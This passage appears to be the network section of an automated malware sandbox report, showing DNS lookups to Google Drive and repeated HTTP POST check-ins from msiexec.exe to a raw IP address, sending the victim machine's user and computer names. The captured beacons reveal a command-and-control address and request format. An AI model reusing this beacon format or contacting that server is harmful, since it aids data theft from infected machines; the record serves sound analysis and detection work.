Oct 2, 2024 07:18:24.766527891 CEST	1.1.1.1	192.168.2.4	0x5e67	No error (0)	drive.usercontent.google.com		142.250.186.33	A (IP address)	IN (0x0001)	false
Oct 2, 2024 07:18:52.214292049 CEST	1.1.1.1	192.168.2.4	0xbfca	Name error (3)	18.31.95.13.in-addr.arpa	none	none	PTR (Pointer record)	IN (0x0001)	false
Oct 2, 2024 07:19:04.033066988 CEST	1.1.1.1	192.168.2.4	0xe283	No error (0)	drive.google.com		172.217.18.110	A (IP address)	IN (0x0001)	false
Oct 2, 2024 07:19:05.207438946 CEST	1.1.1.1	192.168.2.4	0xc554	No error (0)	drive.usercontent.google.com		142.250.186.161	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

drive.google.com

drive.usercontent.google.com

137.184.191.215

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	59084	137.184.191.215	80	8076	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
Oct 2, 2024 07:19:09.567332029 CEST	258	OUT	POST /index.php/check.php?s=am9ntjjw HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 137.184.191.215 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 1A0CD362 Content-Length: 176 Connection: close
Oct 2, 2024 07:19:09.572345018 CEST	176	OUT	Data Raw: 12 00 27 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 33 00 39 00 30 00 31 00 32 00 30 00 01 00 10 00 00 00 4a 00 4f 00 4e 00 45 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: 'ckav.rujones390120JONES-PC0FDD42EE188E931437F4FBE2C9HeyQ
Oct 2, 2024 07:19:12.302341938 CEST	1236	IN	HTTP/1.0 500 Internal Server Error Date: Wed, 02 Oct 2024 05:19:10 GMT Server: Apache/2.4.52 (Ubuntu) Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Content-Length: 2557 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 69 72 3d 27 6c 74 72 27 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 09 09 09 3c 74 69 74 6c 65 3e 57 6f 72 64 50 72 65 73 73 20 26 72 73 61 71 75 6f 3b 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 09 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 09 09 68 74 6d 6c 20 7b 0a 09 09 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 66 31 66 31 66 31 3b 0a 09 09 7d 0a 09 09 62 6f 64 79 20 7b 0a 09 09 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 66 66 66 3b 0a 09 09 09 62 6f 72 64 65 72 3a 20 31 70 78 20 73 6f 6c 69 64 20 23 63 63 64 30 64 34 3b 0a 09 09 09 63 6f 6c 6f 72 3a [TRUNCATED] Data Ascii: <!DOCTYPE html><html dir='ltr'><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta name="viewport" content="width=device-width"><title>WordPress &rsaquo; Error</title><style type="text/css">html {background: #f1f1f1;}body {background: #fff;border: 1px solid #ccd0d4;color: #444;font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif;margin: 2em auto;padding: 1em 2em;max-width: 700px;-webkit-box-shadow: 0 1px 1px rgba(0, 0, 0, .04);box-shadow: 0 1px 1px rgba(0, 0, 0, .04);}h1 {border-bottom: 1px solid #dadada;clear: both;color: #666;font-size: 24px;margin: 30px 0 0 0;padding: 0;padding-bottom: 7px;}#error-page {margin-top: 50px;}#error-page p,#error-page .wp-die-message {font-size: 14px;line-height: 1.5;margin: 25px 0 2
Oct 2, 2024 07:19:12.302764893 CEST	1236	IN	Data Raw: 30 70 78 3b 0a 09 09 7d 0a 09 09 23 65 72 72 6f 72 2d 70 61 67 65 20 63 6f 64 65 20 7b 0a 09 09 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 43 6f 6e 73 6f 6c 61 73 2c 20 4d 6f 6e 61 63 6f 2c 20 6d 6f 6e 6f 73 70 61 63 65 3b 0a 09 09 7d 0a 09 09 75 Data Ascii: 0px;}#error-page code {font-family: Consolas, Monaco, monospace;}ul li {margin-bottom: 10px;font-size: 14px ;}a {color: #2271b1;}a:hover,a:active {color: #135e96;}a:focus {color: #043959
Oct 2, 2024 07:19:12.302778006 CEST	366	IN	Data Raw: 66 35 66 36 3b 0a 09 09 09 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 20 23 37 65 38 39 39 33 3b 0a 09 09 09 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 73 68 61 64 6f 77 3a 20 6e 6f 6e 65 3b 0a 09 09 09 62 6f 78 2d 73 68 61 64 6f 77 3a 20 6e 6f 6e 65 3b 0a Data Ascii: f5f6;border-color: #7e8993;-webkit-box-shadow: none;box-shadow: none;}</style></head><body id="error-page"><div class="wp-die-message"><p>There has been a critical error on this website.</p><p><a href="https://wordpress

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	59085	137.184.191.215	80	8076	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
Oct 2, 2024 07:19:12.437366009 CEST	258	OUT	POST /index.php/check.php?s=am9ntjjw HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 137.184.191.215 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 1A0CD362 Content-Length: 176 Connection: close
Oct 2, 2024 07:19:12.483647108 CEST	176	OUT	Data Raw: 12 00 27 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 33 00 39 00 30 00 31 00 32 00 30 00 01 00 10 00 00 00 4a 00 4f 00 4e 00 45 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: 'ckav.rujones390120JONES-PC0FDD42EE188E931437F4FBE2CclqRP
Oct 2, 2024 07:19:15.446930885 CEST	1236	IN	HTTP/1.0 500 Internal Server Error Date: Wed, 02 Oct 2024 05:19:13 GMT Server: Apache/2.4.52 (Ubuntu) Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Content-Length: 2557 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 69 72 3d 27 6c 74 72 27 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 09 09 09 3c 74 69 74 6c 65 3e 57 6f 72 64 50 72 65 73 73 20 26 72 73 61 71 75 6f 3b 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 09 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 09 09 68 74 6d 6c 20 7b 0a 09 09 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 66 31 66 31 66 31 3b 0a 09 09 7d 0a 09 09 62 6f 64 79 20 7b 0a 09 09 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 66 66 66 3b 0a 09 09 09 62 6f 72 64 65 72 3a 20 31 70 78 20 73 6f 6c 69 64 20 23 63 63 64 30 64 34 3b 0a 09 09 09 63 6f 6c 6f 72 3a [TRUNCATED] Data Ascii: <!DOCTYPE html><html dir='ltr'><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta name="viewport" content="width=device-width"><title>WordPress &rsaquo; Error</title><style type="text/css">html {background: #f1f1f1;}body {background: #fff;border: 1px solid #ccd0d4;color: #444;font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif;margin: 2em auto;padding: 1em 2em;max-width: 700px;-webkit-box-shadow: 0 1px 1px rgba(0, 0, 0, .04);box-shadow: 0 1px 1px rgba(0, 0, 0, .04);}h1 {border-bottom: 1px solid #dadada;clear: both;color: #666;font-size: 24px;margin: 30px 0 0 0;padding: 0;padding-bottom: 7px;}#error-page {margin-top: 50px;}#error-page p,#error-page .wp-die-message {font-size: 14px;line-height: 1.5;margin: 25px 0 2
Oct 2, 2024 07:19:15.447427988 CEST	224	IN	Data Raw: 30 70 78 3b 0a 09 09 7d 0a 09 09 23 65 72 72 6f 72 2d 70 61 67 65 20 63 6f 64 65 20 7b 0a 09 09 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 43 6f 6e 73 6f 6c 61 73 2c 20 4d 6f 6e 61 63 6f 2c 20 6d 6f 6e 6f 73 70 61 63 65 3b 0a 09 09 7d 0a 09 09 75 Data Ascii: 0px;}#error-page code {font-family: Consolas, Monaco, monospace;}ul li {margin-bottom: 10px;font-size: 14px ;}a {color: #2271b1;}a:hover,a:active {color: #135e96;}a:focus
Oct 2, 2024 07:19:15.447438955 CEST	1236	IN	Data Raw: 7b 0a 09 09 09 63 6f 6c 6f 72 3a 20 23 30 34 33 39 35 39 3b 0a 09 09 09 62 6f 78 2d 73 68 61 64 6f 77 3a 20 30 20 30 20 30 20 32 70 78 20 23 32 32 37 31 62 31 3b 0a 09 09 09 6f 75 74 6c 69 6e 65 3a 20 32 70 78 20 73 6f 6c 69 64 20 74 72 61 6e 73 Data Ascii: {color: #043959;box-shadow: 0 0 0 2px #2271b1;outline: 2px solid transparent;}.button {background: #f3f5f6;border: 1px solid #016087;color: #016087;display: inline-block;text-decoration: none;font-size
Oct 2, 2024 07:19:15.448391914 CEST	142	IN	Data Raw: 3d 22 68 74 74 70 73 3a 2f 2f 77 6f 72 64 70 72 65 73 73 2e 6f 72 67 2f 64 6f 63 75 6d 65 6e 74 61 74 69 6f 6e 2f 61 72 74 69 63 6c 65 2f 66 61 71 2d 74 72 6f 75 62 6c 65 73 68 6f 6f 74 69 6e 67 2f 22 3e 4c 65 61 72 6e 20 6d 6f 72 65 20 61 62 6f Data Ascii: ="https://wordpress.org/documentation/article/faq-troubleshooting/">Learn more about troubleshooting WordPress.</a></p></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	59086	137.184.191.215	80	8076	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
Oct 2, 2024 07:19:15.525146961 CEST	258	OUT	POST /index.php/check.php?s=am9ntjjw HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 137.184.191.215 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 1A0CD362 Content-Length: 149 Connection: close
Oct 2, 2024 07:19:15.529973984 CEST	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 33 00 39 00 30 00 31 00 32 00 30 00 01 00 10 00 00 00 4a 00 4f 00 4e 00 45 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.rujones390120JONES-PC0FDD42EE188E931437F4FBE2C
Oct 2, 2024 07:19:18.171447039 CEST	1236	IN	HTTP/1.0 500 Internal Server Error Date: Wed, 02 Oct 2024 05:19:16 GMT Server: Apache/2.4.52 (Ubuntu) Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Content-Length: 2557 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 69 72 3d 27 6c 74 72 27 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 09 09 09 3c 74 69 74 6c 65 3e 57 6f 72 64 50 72 65 73 73 20 26 72 73 61 71 75 6f 3b 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 09 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 09 09 68 74 6d 6c 20 7b 0a 09 09 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 66 31 66 31 66 31 3b 0a 09 09 7d 0a 09 09 62 6f 64 79 20 7b 0a 09 09 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 66 66 66 3b 0a 09 09 09 62 6f 72 64 65 72 3a 20 31 70 78 20 73 6f 6c 69 64 20 23 63 63 64 30 64 34 3b 0a 09 09 09 63 6f 6c 6f 72 3a [TRUNCATED] Data Ascii: <!DOCTYPE html><html dir='ltr'><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta name="viewport" content="width=device-width"><title>WordPress &rsaquo; Error</title><style type="text/css">html {background: #f1f1f1;}body {background: #fff;border: 1px solid #ccd0d4;color: #444;font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif;margin: 2em auto;padding: 1em 2em;max-width: 700px;-webkit-box-shadow: 0 1px 1px rgba(0, 0, 0, .04);box-shadow: 0 1px 1px rgba(0, 0, 0, .04);}h1 {border-bottom: 1px solid #dadada;clear: both;color: #666;font-size: 24px;margin: 30px 0 0 0;padding: 0;padding-bottom: 7px;}#error-page {margin-top: 50px;}#error-page p,#error-page .wp-die-message {font-size: 14px;line-height: 1.5;margin: 25px 0 2
Oct 2, 2024 07:19:18.171510935 CEST	1236	IN	Data Raw: 30 70 78 3b 0a 09 09 7d 0a 09 09 23 65 72 72 6f 72 2d 70 61 67 65 20 63 6f 64 65 20 7b 0a 09 09 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 43 6f 6e 73 6f 6c 61 73 2c 20 4d 6f 6e 61 63 6f 2c 20 6d 6f 6e 6f 73 70 61 63 65 3b 0a 09 09 7d 0a 09 09 75 Data Ascii: 0px;}#error-page code {font-family: Consolas, Monaco, monospace;}ul li {margin-bottom: 10px;font-size: 14px ;}a {color: #2271b1;}a:hover,a:active {color: #135e96;}a:focus {color: #043959
Oct 2, 2024 07:19:18.171516895 CEST	366	IN	Data Raw: 66 35 66 36 3b 0a 09 09 09 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 20 23 37 65 38 39 39 33 3b 0a 09 09 09 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 73 68 61 64 6f 77 3a 20 6e 6f 6e 65 3b 0a 09 09 09 62 6f 78 2d 73 68 61 64 6f 77 3a 20 6e 6f 6e 65 3b 0a Data Ascii: f5f6;border-color: #7e8993;-webkit-box-shadow: none;box-shadow: none;}</style></head><body id="error-page"><div class="wp-die-message"><p>There has been a critical error on this website.</p><p><a href="https://wordpress

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	59087	137.184.191.215	80	8076	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
Oct 2, 2024 07:19:18.329709053 CEST	258	OUT	POST /index.php/check.php?s=am9ntjjw HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 137.184.191.215 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 1A0CD362 Content-Length: 149 Connection: close
Oct 2, 2024 07:19:18.355470896 CEST	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 33 00 39 00 30 00 31 00 32 00 30 00 01 00 10 00 00 00 4a 00 4f 00 4e 00 45 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.rujones390120JONES-PC0FDD42EE188E931437F4FBE2C
Oct 2, 2024 07:19:18.605232000 CEST	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 33 00 39 00 30 00 31 00 32 00 30 00 01 00 10 00 00 00 4a 00 4f 00 4e 00 45 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.rujones390120JONES-PC0FDD42EE188E931437F4FBE2C
Oct 2, 2024 07:19:21.012243986 CEST	1236	IN	HTTP/1.0 500 Internal Server Error Date: Wed, 02 Oct 2024 05:19:18 GMT Server: Apache/2.4.52 (Ubuntu) Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Content-Length: 2557 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 69 72 3d 27 6c 74 72 27 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 09 09 09 3c 74 69 74 6c 65 3e 57 6f 72 64 50 72 65 73 73 20 26 72 73 61 71 75 6f 3b 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 09 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 09 09 68 74 6d 6c 20 7b 0a 09 09 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 66 31 66 31 66 31 3b 0a 09 09 7d 0a 09 09 62 6f 64 79 20 7b 0a 09 09 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 66 66 66 3b 0a 09 09 09 62 6f 72 64 65 72 3a 20 31 70 78 20 73 6f 6c 69 64 20 23 63 63 64 30 64 34 3b 0a 09 09 09 63 6f 6c 6f 72 3a [TRUNCATED] Data Ascii: <!DOCTYPE html><html dir='ltr'><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta name="viewport" content="width=device-width"><title>WordPress &rsaquo; Error</title><style type="text/css">html {background: #f1f1f1;}body {background: #fff;border: 1px solid #ccd0d4;color: #444;font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif;margin: 2em auto;padding: 1em 2em;max-width: 700px;-webkit-box-shadow: 0 1px 1px rgba(0, 0, 0, .04);box-shadow: 0 1px 1px rgba(0, 0, 0, .04);}h1 {border-bottom: 1px solid #dadada;clear: both;color: #666;font-size: 24px;margin: 30px 0 0 0;padding: 0;padding-bottom: 7px;}#error-page {margin-top: 50px;}#error-page p,#error-page .wp-die-message {font-size: 14px;line-height: 1.5;margin: 25px 0 2
Oct 2, 2024 07:19:21.012944937 CEST	224	IN	Data Raw: 30 70 78 3b 0a 09 09 7d 0a 09 09 23 65 72 72 6f 72 2d 70 61 67 65 20 63 6f 64 65 20 7b 0a 09 09 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 43 6f 6e 73 6f 6c 61 73 2c 20 4d 6f 6e 61 63 6f 2c 20 6d 6f 6e 6f 73 70 61 63 65 3b 0a 09 09 7d 0a 09 09 75 Data Ascii: 0px;}#error-page code {font-family: Consolas, Monaco, monospace;}ul li {margin-bottom: 10px;font-size: 14px ;}a {color: #2271b1;}a:hover,a:active {color: #135e96;}a:focus
Oct 2, 2024 07:19:21.012959957 CEST	1236	IN	Data Raw: 7b 0a 09 09 09 63 6f 6c 6f 72 3a 20 23 30 34 33 39 35 39 3b 0a 09 09 09 62 6f 78 2d 73 68 61 64 6f 77 3a 20 30 20 30 20 30 20 32 70 78 20 23 32 32 37 31 62 31 3b 0a 09 09 09 6f 75 74 6c 69 6e 65 3a 20 32 70 78 20 73 6f 6c 69 64 20 74 72 61 6e 73 Data Ascii: {color: #043959;box-shadow: 0 0 0 2px #2271b1;outline: 2px solid transparent;}.button {background: #f3f5f6;border: 1px solid #016087;color: #016087;display: inline-block;text-decoration: none;font-size
Oct 2, 2024 07:19:21.013755083 CEST	142	IN	Data Raw: 3d 22 68 74 74 70 73 3a 2f 2f 77 6f 72 64 70 72 65 73 73 2e 6f 72 67 2f 64 6f 63 75 6d 65 6e 74 61 74 69 6f 6e 2f 61 72 74 69 63 6c 65 2f 66 61 71 2d 74 72 6f 75 62 6c 65 73 68 6f 6f 74 69 6e 67 2f 22 3e 4c 65 61 72 6e 20 6d 6f 72 65 20 61 62 6f Data Ascii: ="https://wordpress.org/documentation/article/faq-troubleshooting/">Learn more about troubleshooting WordPress.</a></p></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	59088	137.184.191.215	80	8076	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
Oct 2, 2024 07:19:21.246655941 CEST	258	OUT	POST /index.php/check.php?s=am9ntjjw HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 137.184.191.215 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 1A0CD362 Content-Length: 149 Connection: close
Oct 2, 2024 07:19:21.251872063 CEST	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 33 00 39 00 30 00 31 00 32 00 30 00 01 00 10 00 00 00 4a 00 4f 00 4e 00 45 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.rujones390120JONES-PC0FDD42EE188E931437F4FBE2C
Oct 2, 2024 07:19:23.973371029 CEST	1236	IN	HTTP/1.0 500 Internal Server Error Date: Wed, 02 Oct 2024 05:19:21 GMT Server: Apache/2.4.52 (Ubuntu) Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Content-Length: 2557 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 69 72 3d 27 6c 74 72 27 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 09 09 09 3c 74 69 74 6c 65 3e 57 6f 72 64 50 72 65 73 73 20 26 72 73 61 71 75 6f 3b 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 09 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 09 09 68 74 6d 6c 20 7b 0a 09 09 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 66 31 66 31 66 31 3b 0a 09 09 7d 0a 09 09 62 6f 64 79 20 7b 0a 09 09 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 66 66 66 3b 0a 09 09 09 62 6f 72 64 65 72 3a 20 31 70 78 20 73 6f 6c 69 64 20 23 63 63 64 30 64 34 3b 0a 09 09 09 63 6f 6c 6f 72 3a [TRUNCATED] Data Ascii: <!DOCTYPE html><html dir='ltr'><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta name="viewport" content="width=device-width"><title>WordPress &rsaquo; Error</title><style type="text/css">html {background: #f1f1f1;}body {background: #fff;border: 1px solid #ccd0d4;color: #444;font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif;margin: 2em auto;padding: 1em 2em;max-width: 700px;-webkit-box-shadow: 0 1px 1px rgba(0, 0, 0, .04);box-shadow: 0 1px 1px rgba(0, 0, 0, .04);}h1 {border-bottom: 1px solid #dadada;clear: both;color: #666;font-size: 24px;margin: 30px 0 0 0;padding: 0;padding-bottom: 7px;}#error-page {margin-top: 50px;}#error-page p,#error-page .wp-die-message {font-size: 14px;line-height: 1.5;margin: 25px 0 2
Oct 2, 2024 07:19:23.973893881 CEST	1236	IN	Data Raw: 30 70 78 3b 0a 09 09 7d 0a 09 09 23 65 72 72 6f 72 2d 70 61 67 65 20 63 6f 64 65 20 7b 0a 09 09 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 43 6f 6e 73 6f 6c 61 73 2c 20 4d 6f 6e 61 63 6f 2c 20 6d 6f 6e 6f 73 70 61 63 65 3b 0a 09 09 7d 0a 09 09 75 Data Ascii: 0px;}#error-page code {font-family: Consolas, Monaco, monospace;}ul li {margin-bottom: 10px;font-size: 14px ;}a {color: #2271b1;}a:hover,a:active {color: #135e96;}a:focus {color: #043959
Oct 2, 2024 07:19:23.973906040 CEST	366	IN	Data Raw: 66 35 66 36 3b 0a 09 09 09 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 20 23 37 65 38 39 39 33 3b 0a 09 09 09 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 73 68 61 64 6f 77 3a 20 6e 6f 6e 65 3b 0a 09 09 09 62 6f 78 2d 73 68 61 64 6f 77 3a 20 6e 6f 6e 65 3b 0a Data Ascii: f5f6;border-color: #7e8993;-webkit-box-shadow: none;box-shadow: none;}</style></head><body id="error-page"><div class="wp-die-message"><p>There has been a critical error on this website.</p><p><a href="https://wordpress

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	59089	137.184.191.215	80	8076	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
Oct 2, 2024 07:19:24.150774956 CEST	258	OUT	POST /index.php/check.php?s=am9ntjjw HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 137.184.191.215 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 1A0CD362 Content-Length: 149 Connection: close
Oct 2, 2024 07:19:24.164841890 CEST	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 33 00 39 00 30 00 31 00 32 00 30 00 01 00 10 00 00 00 4a 00 4f 00 4e 00 45 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.rujones390120JONES-PC0FDD42EE188E931437F4FBE2C
